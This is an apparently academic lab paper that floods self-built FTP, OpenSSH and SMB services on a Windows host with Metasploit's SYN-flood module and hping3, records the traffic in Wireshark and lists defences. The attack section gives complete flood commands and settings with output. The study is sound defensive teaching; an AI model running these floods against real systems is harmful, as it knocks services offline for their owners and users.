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## REVEALING ANOMALIES BY NETWORK PACKET FLOODING ON BUILT FTP AND OPENSSEH SERVERS IN CONTROLLED LAB ENVIRONMENT

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**ABSTRACT:** *This scientific paper investigates the effects of network packet flooding on FTP (port 21) and SSH (port 22) protocols, aiming to reveal and document anomalies in server behavior under high-load conditions. By simulating packet flooding in a controlled lab environment, an analysis on vulnerabilities and anomalies unique to each protocol is conducted in order to improve defensive capabilities. The results provide guidance on best practices to secure FTP and OpenSSH services against malicious traffic, such as Distributed Denial of Service (DDoS) attacks, supporting wider network security strategies.*

**KEY WORDS:** *Anomaly, DoS, DDoS, Detection, Flooding, FTP, OpenSSH, Packet, Privacy, Protocol, Revealing, Server, SSH.*

### 1. Introduction

In network security, understanding how servers respond to unusual or excessive traffic loads is essential for developing strong defensive measures. This scientific paper explores the effect of network packet flooding [5,6,8,36,40,41], which simulates scenarios that may occur in a DDoS attack or high-traffic environment, focusing on FTP and OpenSSH services. The FTP and OpenSSH protocols are commonly employed for transferring files and enabling secure remote access [1,2,5,6,7,8,20,25,33,34,35,40,41].

The scientific aims are to observe and record anomalies in FTP and OpenSSH server behavior under packet flooding and to detect how anomalies present in server responses to stress conditions, thereby revealing weak places, vulnerabilities and strengthening protective measures. Packet flooding is a technique involving the transmission of a large volume of packets to a target server to push its resources to their capacity. The network anomalies that arise

from such flooding can include response delays, packet loss and service outages, all of which are important indicators of a server's resilience [12,16,21,22,23,24].

The conducted experiments in this scientific paper that aim to reveal some important and confidential information by network packet flooding without the host's permission is considered as a crime and, if proven, is punishable to the full extent of the law of the respective country [5,6]. Everything illustrated and explained in this scientific paper is for research work and educational purposes and the author is not responsible in cases of abuse.

## **2. Related work**

This section reviews key concepts related to packet flooding and common anomalies in FTP and OpenSSH [1,2,3,5,6,7,8,10,11,12,16,17,18]. Relevant literature on DoS, DDoS cyber-attacks, FTP and SSH protocol vulnerabilities, and known protective measures will be approached [21,22,23,24,25,28,29,30].

These scientific works [32,33,34,35,36,37,40,41] collectively explore various aspects of revealing anomalies by network packet flooding on FTP and SSH protocols.

Revealing anomalies by network packet flooding is also used in application of electronic platforms [26], various types of instrumental equipment for cyberattack prevention [20], specific models for accessing information resources in a secure environment and other technologies [19], net model of command and control system [14], building data center system for defense and security [13], designing and implementation of software-defined systems [15], information exchange management in multimodule multi-position security systems [9], applications of Artificial Intelligence in e-Learning [27], information systems for crisis prevention [31], performance analysis of a mobile computer equipped with solid state disk [39], modeling and calculation of passive audio crossovers [38] and designing of stream ciphers based on random feedback shift registers [4].

## **3. Experiment**

The scientific experiments in this paper in a specialized computer network laboratory in the Faculty of Technical Sciences of the Konstantin Preslavsky University of Shumen are made. The used operating systems are Windows 10 Pro x64 version 22H2, OS build: 19045.4355 and Kali Linux (Linux pesho 6.0.0-kali6-amd64 #1 SMP PREEMPT\_DYNAMIC Debian 6.0.12-1kali1 x86\_64 GNU/Linux) [5,6].

The study will be conducted in a controlled lab environment to avoid the risk of illegal activity and to maintain safe practices. The main setup includes building FTP and OpenSSH servers on Windows based operating system, platforms for observing network performance and controlled packet flooding simulating DDoS cyber-attack in the operating system Kali Linux [5,6].

The first step to create a ftp Server is to install the necessary packages from the menu - „Control Panel→All Control Panel Items→Programs and Features→Turn Windows features on or off”. The necessary features that must be checked are “Internet Information Services” and “Internet Information Services Hostable Web Core”. The following is a process of installing all necessary features. This is presented in fig. 1. The IPv4 address is set to 192.168.80.129 with ftp port 21 (shown in fig. 2). The site name of the FTP server is configured as “pesho\_ftp” with the physical path is set to “C:\Users\pesho\Desktop\pesho\_ftp” (shown in fig. 3). The authentication and authorization settings in fig. 4 are shown. Fig. 5 illustrates the already installed FTP server.




Fig. 1. The selected features for installing a FTP server




Fig. 2. The binding settings of the FTP server




Fig. 3. Configured FTP site name and content directory




Fig. 4. Authentication and authorization settings




Fig. 5. The installed FTP server

The uploaded files to the FTP server in fig. 6 are shown.




Fig. 6. The uploaded files to the FTP server

To verify that the FTP server is working, it is necessary to open a command-line terminal in Windows in which the “ftp” command must be entered in order to attempt a network connection to the FTP server. After that the IPv4 address 192.168.80.129 must be written to gain access to the server. Finally, the command “dir” shows the whole content of the FTP server. All these steps in fig. 7 are presented.





Fig. 7. Successfully login to the FTP server with IPv4 - 192.168.80.129

The installation configuration of the OpenSSH server from the following menu - “Apps and features”→”Optional features” is carried out. After the server is installed, it is necessary the command-line terminal again to be opened in order to be entered the following commands “cd OpenSSH” and “ssh 192.168.80.129”. The command “dir” shows the whole content of the OpenSSH server and the command “exit” serves to terminate the network session to this SSH server (shown in fig. 9).



```
Administrator: C:\Windows\system32\conhost.exe
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd OpenSSH

C:\Windows\System32\OpenSSH>ssh 192.168.80.129
pesho@192.168.80.129's password:
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.
10/23/2024 03:53 PM <DIR> Desktop
10/23/2024 02:52 PM <DIR> Documents
10/23/2024 01:18 PM <DIR> Downloads
06/02/2022 03:19 AM <DIR> Favorites
06/02/2022 03:19 AM <DIR> Links
06/02/2022 03:19 AM <DIR> Music
06/02/2022 03:33 AM <DIR> OneDrive
06/02/2022 03:22 AM <DIR> Pictures
06/02/2022 03:19 AM <DIR> Saved Games
06/02/2022 03:21 AM <DIR> Searches
07/08/2022 01:38 AM <DIR> Videos
      0 File(s)          0 bytes
      16 Dir(s) 167,829,565,440 bytes free

pesho@DESKTOP-282F9GC C:\Users\pesho>
```

Fig. 8. Successfully login to the OpenSSH server with IPv4 - 192.168.80.129

```
Administrator: Command Prompt
06/02/2022 03:22 AM <DIR> Pictures
06/02/2022 03:19 AM <DIR> Saved Games
06/02/2022 03:21 AM <DIR> Searches
07/08/2022 01:38 AM <DIR> Videos
0 File(s) 0 bytes
16 Dir(s) 167,829,565,440 bytes free

pesho@DESKTOP-282F9GC C:\Users\pesho>cd ../../

pesho@DESKTOP-282F9GC C:\>dir
Volume in drive C has no label.
Volume Serial Number is D418-E1D9

Directory of C:\

10/23/2024 01:56 PM <DIR> inetpub
12/07/2019 12:14 PM <DIR> PerfLogs
10/23/2024 01:34 PM <DIR> Program Files
10/23/2024 01:28 PM <DIR> Program Files (x86)
10/23/2024 02:30 PM <DIR> Users
10/23/2024 02:27 PM <DIR> Windows
07/08/2022 02:19 AM <DIR> xampp
0 File(s) 0 bytes
7 Dir(s) 167,828,721,664 bytes free

pesho@DESKTOP-282F9GC C:\>exit
Connection to 192.168.80.129 closed.

C:\Windows\System32\OpenSSH>
```

Fig. 9. Termination the network connection to the OpenSSH server

In this scientific paper, the attacking host is running the Kali Linux operating system and its IP address through the "ip addr" command is revealed. This is shown in fig. 10. The next task before simulating a packet network flood [1,2,5,6,33,35,8,36,39,40,41] is performing a port scan with the software network scanner Nmap on the victim host (192.168.80.129). The network scan by the command "nmap -p 21,22 192.168.80.129" is performed. After the network scan was done, it was found that two ports are open. Accordingly, port 21 is responsible for the FTP protocol, and port 22 by the SSH protocol is used. All these steps in fig. 11 are presented.

```
File Actions Edit View Help
(root@pesho)-[~]
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 00:0c:29:54:56:6f brd ff:ff:ff:ff:ff:ff
   inet 192.168.80.132/24 brd 192.168.80.255 scope global dynamic noprefixroute eth0
       valid_lft 1218sec preferred_lft 1218sec
   inet6 fe80::20c:29ff:fe54:566f/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

Fig. 10. The IPv4 address of the attacking host (192.168.80.132)

```
(root@pesho)-[~]
# nmap -p 21,22 192.168.80.129
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-23 15:44 EEST
Nmap scan report for 192.168.80.129
Host is up (0.00058s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
MAC Address: 00:0C:29:36:32:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
(root@pesho)-[~]
```

Fig. 11. The detected two open network ports

One of the most popular platforms for generating network packet is Metasploit. For the purposes of the scientific research the auxiliary module “dos/tcp/synflood” [11,12,29,40,41] is used. This aims to flood [1,5,8,21,25,29,32,33,36,40,41] only with activated TCP SYN flag the other host. Accordingly, the network packet flood settings are the following:

- The IPv4 address of the victim host is set to 192.168.80.129 (Windows machine).



- The IPv4 address of the attacking host is set to 192.168.80.132 (Linux machine).
- The network port that will be flooded with packets is set to 21 (FTP).

After all the settings are done, the „exploit” command is written to start the packet flooding on port 21 (FTP protocol). All these steps in fig. 12 are shown.

```

root@pesho: ~
File Actions Edit View Help

msf6 auxiliary(dos/tcp/synflood) > set RHOST 192.168.80.129
RHOST => 192.168.80.129
msf6 auxiliary(dos/tcp/synflood) > set PORT 21
[-] Unknown datastore option: PORT. Did you mean SPORT?
msf6 auxiliary(dos/tcp/synflood) > set RPORT 21
RPORT => 21
msf6 auxiliary(dos/tcp/synflood) > set SHOST 192.168.80.132
SHOST => 192.168.80.132
msf6 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 192.168.80.129

[*] SYN flooding 192.168.80.129:21 ...
^C[-] Stopping running against current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
msf6 auxiliary(dos/tcp/synflood) >

```

Fig. 12. The network packet flood settings

The other packet emulation utility is Hping3 [5,11,12,29,35,36,37,40]. It is a command-line utility and the command used for generating a packet flooding is “hping3 -S 192.168.80.129 -a 192.168.80.132 -p 22 --flood -V”. This time the traffic will be directed to port 22 (SSH protocol). This is shown in fig. 13.

```

(root@pesho)-[~]
# hping3 -S 192.168.80.129 -a 192.168.80.132 -p 22 --flood -V
using eth0, addr: 192.168.80.132, MTU: 1500
HPING 192.168.80.129 (eth0 192.168.80.129): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
— 192.168.80.129 hping statistic —
9947028 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
(root@pesho)-[~]
#

```

Fig. 13. Performing a packet flooding with Hping3 on port 22

The third network port which will be scanned is 139 (SMB). This port is responsible for the file sharing. The command “nmap -p 139 192.168.80.129” is used [1,5,6,11,12,29,40,41] and the opened port in fig. 14 is presented. For generating a packet flooding the following command “hping3 -2 -p 139 --flood 192.168.80.129 -V” is used. This is illustrated in fig. 15.

```
(root@pesho)-[~]
# nmap -p 139 192.168.80.129
Starting Nmap 7.02 ( https://nmap.org ) at 2024-10-23 16:17 EEST
Nmap scan report for 192.168.80.129
Host is up (0.00044s latency).

PORT      STATE SERVICE
139/tcp   open  netbios-ssn
MAC Address: 00:0C:29:36:32:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

(root@pesho)-[~] you become, the more you are able to hear
#
```

Fig. 14. Performed Nmap scan on port 139

```
root@pesho: ~
File Actions Edit View Help
PORT      STATE SERVICE
139/tcp   open  netbios-ssn
MAC Address: 00:0C:29:36:32:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

(root@pesho)-[~]
# hping3 -2 -p 139 --flood 192.168.80.129 -V
using eth0, addr: 192.168.80.132, MTU: 1500
HPING 192.168.80.129 (eth0 192.168.80.129): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
— 192.168.80.129 hping statistic —
1613878 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

(root@pesho)-[~] you become, the more you are able to hear
#
```

Fig. 15. Performing a packet flooding with Hping3 on port 139

#### 4. Results

The network packet flooding on the victim host via the free of charge network monitoring tool [5,6,11,12,29,40,41] Wireshark version 4.4.1 is intercepted. The main purpose of the research is to reveal the anomaly network traffic directed to ports 21, 22 and 139. Fig. 16 shows the successfully detected packet flooding on port 21 generated from the attacking host 192.168.80.132. Fig. 17 illustrates the detected packet flooding on port 22 and fig. 18 presents the detected packed flooding on port 139.

No.	Time	Source	Destination	Protocol	Length	Info
7	13.921144	192.168.80.132	192.168.80.129	TCP	60	32085 → 21 [SYN] Seq=0 Win=636 Len=0
8	13.921331	192.168.80.129	192.168.80.132	TCP	58	21 → 32085 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
9	13.922854	192.168.80.132	192.168.80.129	TCP	60	32085 → 21 [RST] Seq=1 Win=0 Len=0
10	13.923610	192.168.80.132	192.168.80.129	TCP	60	36505 → 21 [SYN] Seq=0 Win=1096 Len=0
11	13.923743	192.168.80.129	192.168.80.132	TCP	58	21 → 36505 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
12	13.924730	192.168.80.132	192.168.80.129	TCP	60	36505 → 21 [RST] Seq=1 Win=0 Len=0
13	13.926674	192.168.80.132	192.168.80.129	TCP	60	65371 → 21 [SYN] Seq=0 Win=154 Len=0
14	13.926855	192.168.80.129	192.168.80.132	TCP	58	21 → 65371 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
15	13.927894	192.168.80.132	192.168.80.129	TCP	60	65371 → 21 [RST] Seq=1 Win=0 Len=0
16	13.930786	192.168.80.132	192.168.80.129	TCP	60	41750 → 21 [SYN] Seq=0 Win=1663 Len=0
17	13.930936	192.168.80.129	192.168.80.132	TCP	58	21 → 41750 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
18	13.931655	192.168.80.132	192.168.80.129	TCP	60	41750 → 21 [RST] Seq=1 Win=0 Len=0
19	13.933677	192.168.80.132	192.168.80.129	TCP	60	45501 → 21 [SYN] Seq=0 Win=2124 Len=0
20	13.933849	192.168.80.129	192.168.80.132	TCP	58	21 → 45501 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
21	13.934791	192.168.80.132	192.168.80.129	TCP	60	45501 → 21 [RST] Seq=1 Win=0 Len=0
22	13.936768	192.168.80.132	192.168.80.129	TCP	60	36861 → 21 [SYN] Seq=0 Win=4017 Len=0
23	13.936933	192.168.80.129	192.168.80.132	TCP	58	21 → 36861 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
24	13.937726	192.168.80.132	192.168.80.129	TCP	60	36861 → 21 [RST] Seq=1 Win=0 Len=0
25	13.939813	192.168.80.132	192.168.80.129	TCP	60	65462 → 21 [SYN] Seq=0 Win=3759 Len=0
26	13.939948	192.168.80.129	192.168.80.132	TCP	58	21 → 65462 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
27	13.941486	192.168.80.132	192.168.80.129	TCP	60	65462 → 21 [RST] Seq=1 Win=0 Len=0
28	13.943068	192.168.80.132	192.168.80.129	TCP	60	12250 → 21 [SYN] Seq=0 Win=223 Len=0
29	13.943713	192.168.80.129	192.168.80.132	TCP	58	21 → 12250 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=1460
30	13.943834	192.168.80.132	192.168.80.129	TCP	60	12250 → 21 [RST] Seq=1 Win=0 Len=0

Fig. 16. Detected packet flooding on port 21

No.	Time	Source	Destination	Protocol	Length	Info
19226	3.016246	192.168.80.132	192.168.80.129	TCP	60	48509 → 22 [SYN] Seq=0 Win=512 Len=0
19227	3.016246	192.168.80.132	192.168.80.129	TCP	60	48510 → 22 [SYN] Seq=0 Win=512 Len=0
19228	3.016246	192.168.80.132	192.168.80.129	TCP	60	48511 → 22 [SYN] Seq=0 Win=512 Len=0
19229	3.016246	192.168.80.132	192.168.80.129	TCP	60	48512 → 22 [SYN] Seq=0 Win=512 Len=0
19230	3.016246	192.168.80.132	192.168.80.129	TCP	60	48513 → 22 [SYN] Seq=0 Win=512 Len=0
19231	3.016246	192.168.80.132	192.168.80.129	TCP	60	48514 → 22 [SYN] Seq=0 Win=512 Len=0
19232	3.016246	192.168.80.132	192.168.80.129	TCP	60	48515 → 22 [SYN] Seq=0 Win=512 Len=0
19233	3.016246	192.168.80.132	192.168.80.129	TCP	60	48516 → 22 [SYN] Seq=0 Win=512 Len=0
19234	3.016246	192.168.80.132	192.168.80.129	TCP	60	48517 → 22 [SYN] Seq=0 Win=512 Len=0
19235	3.016246	192.168.80.132	192.168.80.129	TCP	60	48518 → 22 [SYN] Seq=0 Win=512 Len=0
19236	3.016246	192.168.80.132	192.168.80.129	TCP	60	48519 → 22 [SYN] Seq=0 Win=512 Len=0
19237	3.016246	192.168.80.132	192.168.80.129	TCP	60	48520 → 22 [SYN] Seq=0 Win=512 Len=0
19238	3.016246	192.168.80.132	192.168.80.129	TCP	60	48521 → 22 [SYN] Seq=0 Win=512 Len=0
19239	3.016246	192.168.80.132	192.168.80.129	TCP	60	48522 → 22 [SYN] Seq=0 Win=512 Len=0
19240	3.016246	192.168.80.132	192.168.80.129	TCP	60	48523 → 22 [SYN] Seq=0 Win=512 Len=0
19241	3.016246	192.168.80.132	192.168.80.129	TCP	60	48524 → 22 [SYN] Seq=0 Win=512 Len=0
19242	3.016246	192.168.80.132	192.168.80.129	TCP	60	48525 → 22 [SYN] Seq=0 Win=512 Len=0
19243	3.016246	192.168.80.132	192.168.80.129	TCP	60	48526 → 22 [SYN] Seq=0 Win=512 Len=0
19244	3.016246	192.168.80.132	192.168.80.129	TCP	60	48527 → 22 [SYN] Seq=0 Win=512 Len=0
19245	3.016246	192.168.80.132	192.168.80.129	TCP	60	48528 → 22 [SYN] Seq=0 Win=512 Len=0
19246	3.016246	192.168.80.132	192.168.80.129	TCP	60	48529 → 22 [SYN] Seq=0 Win=512 Len=0
19247	3.016246	192.168.80.132	192.168.80.129	TCP	60	48530 → 22 [SYN] Seq=0 Win=512 Len=0
19248	3.016246	192.168.80.132	192.168.80.129	TCP	60	48531 → 22 [SYN] Seq=0 Win=512 Len=0
19249	3.016246	192.168.80.132	192.168.80.129	TCP	60	48532 → 22 [SYN] Seq=0 Win=512 Len=0

> Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface  
 > Ethernet II, Src: VMware\_54:56:6f (00:0c:29:54:56:6f), Dst: VMware\_36:32:a8  
 > Internet Protocol Version 4, Src: 192.168.80.132, Dst: 192.168.80.129  
 > Transmission Control Protocol, Src Port: 4663, Dst Port: 22, Seq: 1, Len: 0

Fig. 17. Detected packet flooding on port 22

No.	Time	Source	Destination	Protocol	Length	Info
46751	8.639627	192.168.80.132	192.168.80.129	UDP	60	22754 - 139 en=0
46752	8.639627	192.168.80.132	192.168.80.129	UDP	60	22755 - 139 en=0
46753	8.639627	192.168.80.132	192.168.80.129	UDP	60	22756 - 139 en=0
46754	8.639627	192.168.80.132	192.168.80.129	UDP	60	22757 - 139 en=0
46755	8.639627	192.168.80.132	192.168.80.129	UDP	60	22758 - 139 en=0
46756	8.639627	192.168.80.132	192.168.80.129	UDP	60	22759 - 139 en=0
46757	8.639627	192.168.80.132	192.168.80.129	UDP	60	22760 - 139 en=0
46758	8.639627	192.168.80.132	192.168.80.129	UDP	60	22761 - 139 en=0
46759	8.654701	192.168.80.132	192.168.80.129	UDP	60	22762 - 139 en=0
46760	8.654701	192.168.80.132	192.168.80.129	UDP	60	22763 - 139 en=0
46761	8.654701	192.168.80.132	192.168.80.129	UDP	60	22764 - 139 en=0
46762	8.654701	192.168.80.132	192.168.80.129	UDP	60	22765 - 139 en=0
46763	8.654701	192.168.80.132	192.168.80.129	UDP	60	22766 - 139 en=0
46764	8.654701	192.168.80.132	192.168.80.129	UDP	60	22767 - 139 en=0
46765	8.654701	192.168.80.132	192.168.80.129	UDP	60	22768 - 139 en=0
46766	8.654701	192.168.80.132	192.168.80.129	UDP	60	22769 - 139 en=0
46767	8.654701	192.168.80.132	192.168.80.129	UDP	60	22770 - 139 en=0
46768	8.654701	192.168.80.132	192.168.80.129	UDP	60	22771 - 139 en=0
46769	8.654701	192.168.80.132	192.168.80.129	UDP	60	22772 - 139 en=0
46770	8.654701	192.168.80.132	192.168.80.129	UDP	60	22773 - 139 en=0
46771	8.654701	192.168.80.132	192.168.80.129	UDP	60	22774 - 139 en=0
46772	8.654701	192.168.80.132	192.168.80.129	UDP	60	22775 - 139 en=0
46773	8.654701	192.168.80.132	192.168.80.129	UDP	60	22776 - 139 en=0
46774	8.654701	192.168.80.132	192.168.80.129	UDP	60	22777 - 139 en=0

> Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface  
 > Ethernet II, Src: VMware\_54:56:6f (00:0c:29:54:56:6f), Dst: VMware\_36:32:a8  
 > Internet Protocol Version 4, Src: 192.168.80.132, Dst: 192.168.80.129  
 > User Datagram Protocol, Src Port: 21124, Dst Port: 139

Fig. 18. Detected packet flooding on port 139

As a result of the performed packet flooding in controlled lab environment, the CPU, Memory and Disk resources are totally overloaded which causes a denial of service on the FTP and SSH services. This is shown in fig. 19.




Fig. 19. The overloaded resources

Fig. 20 shows statistics for the detected TCP error packets in 200 ms time intervals. Fig. 21 shows the conversation settings between the hosts - 192.168.80.129 and 192.168.80.132 on port 22.




Fig. 20. Statistics for the detected TCP error packets




Fig. 21. The conversation settings on port 22

The Recommendations for defending FTP and SSH services from network packet flooding and similar network-based attacks may include the following suggestions [1,2,16,17,22,28,5,6,11,12,29,40,41]:

- Implementing thresholds to manage incoming network traffic and filtering abnormal traffic patterns.
- Deploying IDS and IPS solutions to detect and mitigate suspicious traffic based on predefined rules and machine learning models.
- Strategies for optimizing resource allocation and using load balancers to distribute traffic.

## 5. Conclusion

This scientific work illustrates the detection of network packet flooding on ports 21, 22 and 139. The observations obtained from studying anomalies during network packet flooding [8,36,40,41] can be applied to protect these specific TCP network protocols. The early and rapid revealing anomalies by network packet flooding on built FTP and SSH servers can protect some important and confidential information of various organizations. In this context, the highly advanced laboratories at the Faculty of Technical Sciences at Konstantin Preslavsky University of Shumen provide significant opportunities for students studying [5,6] "Communication and Information Systems", "Computer Technologies in Automated Manufacturing" and "Signal Security Systems and Technologies" in order to acquire substantial theoretical and practical experience

in process the revealing anomalies by network packet flooding on built FTP and SSH servers in controlled lab environment [5,6].

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